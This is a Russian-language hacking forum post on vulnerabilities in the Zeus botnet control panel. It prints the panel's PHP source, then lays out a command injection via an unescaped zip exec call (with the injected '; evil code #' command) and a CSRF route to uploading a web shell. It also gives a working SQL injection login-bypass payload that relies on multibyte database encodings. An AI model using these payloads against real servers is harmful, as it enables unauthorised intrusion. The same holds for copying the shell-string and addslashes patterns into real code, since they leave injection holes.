PDA

Просмотр полной версии : Уязвимости панели управления ботнетом Zeus


WhiteHacK
24.03.2012, 01:00
Уязвимости панели управления ботнетом Zeus

Ковырялся в зевсе, дельного ничего не нашёл, но сразу наткнулся на файл /web/system/fsarc.php, посмотрел, где используется функция из него и получил исполнение кода в админке (вроде бы ещё magic_quotes_gpc=Off нужно + нужно, чтоб функция exec() не была в disable_functions).

Итак, код функции arc_Create из fsarc.php:

source:


function arc_Create($archive, $files)
{
error_reporting
(E_ALL);
if
(
strcasecmp
(
substr
(
php_uname
(
's'
),
0
,
7
),
'windows'
) ===
0
)
{
$archive
=
str_replace
(
'/'
,
'\\'
,
$archive
);
foreach
(
$files
as
$k
=>
$v
)
$files
[
$k
] =
str_replace
(
'/'
,
'\\'
,
$v
);
}
$archive
.=
'.zip'
;
$cli
=
'zip -r -9 -q -S "'
.
$archive
.
'" "'
.
implode
(
'" "'
,
$files
).
'"'
;
exec
(
$cli
,
$e
,
$r
);
if
(
$r
!=
0
)
echo
"(error: $r) "
.
$cli
.
'
'
;
return
$r
?
false
:
$archive
;
}


Вызывается она лишь в /web/system/reports_files.php:

source:


//Создание архива.
else
if
(
$_POST
[
'filesaction'
] ==
1
)
{
$list
=
array
();
foreach
(
$_POST
[
'files'
]
as
$file
)
$list
[] =
$_CUR_PATH
.
'/'
.
$file
;
if
((
$arcfile
=
CreateTempFile
(
'arc'
)) ===
false
)
die
(
'Failed to create temp file.'
);
@
unlink
(
$arcfile
);
require_once
(
'fsarc.php'
);
if
(!
function_exists
(
'arc_Create'
) || (
$arcfile
=
arc_Create
(
$arcfile
,
$list
)) ===
false
)
die
(
'Failed to create archive, please check "system/fsarc.php" script.'
);
HTTPDownloadHeaders
(
basename_ex
(
$arcfile
), @
filesize
(
$arcfile
));
echo
@
file_get_contents
(
$arcfile
);
@
unlink
(
$arcfile
);
die
();
}


Юзаем,

авторизованными в админке так:

source:





На выходе имеем примерно такую команду:
source:


zip
-r -
9
-q -S
"/PATH/zeustest/web/tmp/arcPdRbao.zip"
"_reports/"
; evil code
#"


Соответственно, magic_quotes_gpc=Off нужно, чтобы можно было закрыть кавычку, а вторую кавычку мы закомментировали.

P.S. Наверное ценность этой баги стремится к нулю, но мб кому-то нужно будет похекать серв, имея админку зеуса.

Теоретически можно впарить админу автосубмитящуюся форму с кодом на заливку шелла, поскольку там CSRF..)

==========

Конечно очень тупо, но на самом деле можно обойти авторизацию при некоторых обстоятельствах)

Применима бага лишь только если китайцы или ещё кто юзают свои кодировки вместо юникода. Я этого не знаю...

А именно - должна использоваться мультибайтовая кодировка типа BIG5, GBK или SJIS.

Это отражается в файле /web/system/global.php:

source:


define
(
'MYSQL_CODEPAGE'
,
'utf8'
);
/
/
здесь должна быть другая кодировка
define
(
'MYSQL_COLLATE'
,
'utf8_unicode_ci'
);


Тогда можно авторизоваться в обход защиты в cp.php:

source:


if
(
isset
(
$_POST
[
'user'
]) &&
isset
(
$_POST
[
'pass'
]))
{
$user
=
$_POST
[
'user'
];
$pass
=
md5
(
$_POST
[
'pass'
]);
//Проверяем логин.
if
(@
mysql_query
(
"SELECT id FROM cp_users WHERE name='"
.
addslashes
(
$user
).
"' AND pass='"
.
addslashes
(
$pass
).
"' AND flag_enabled='1' LIMIT 1"
) && @
mysql_affected_rows
() ==
1
)
{
if
(
isset
(
$_POST
[
'remember'
]) &&
$_POST
[
'remember'
] ==
1
)
{
setcookie
(COOKIE_USER,
md5
(
$user
), COOKIE_LIVETIME, CP_HTTP_ROOT);
setcookie
(COOKIE_PASS,
$pass
, COOKIE_LIVETIME, CP_HTTP_ROOT);
}
LockSession
();
$_SESSION
[
'name'
] =
$user
;
$_SESSION
[
'pass'
] =
$pass
;
//UnlockSession();
header
(
'Location: '
.QUERY_STRING_BLANK.
'home'
);
}
else
ShowLoginForm
(
true
);
die
();
}


Эксплойт: пишем в name %b3%27+or+1=1--.
Спойлер
http://ahack.ru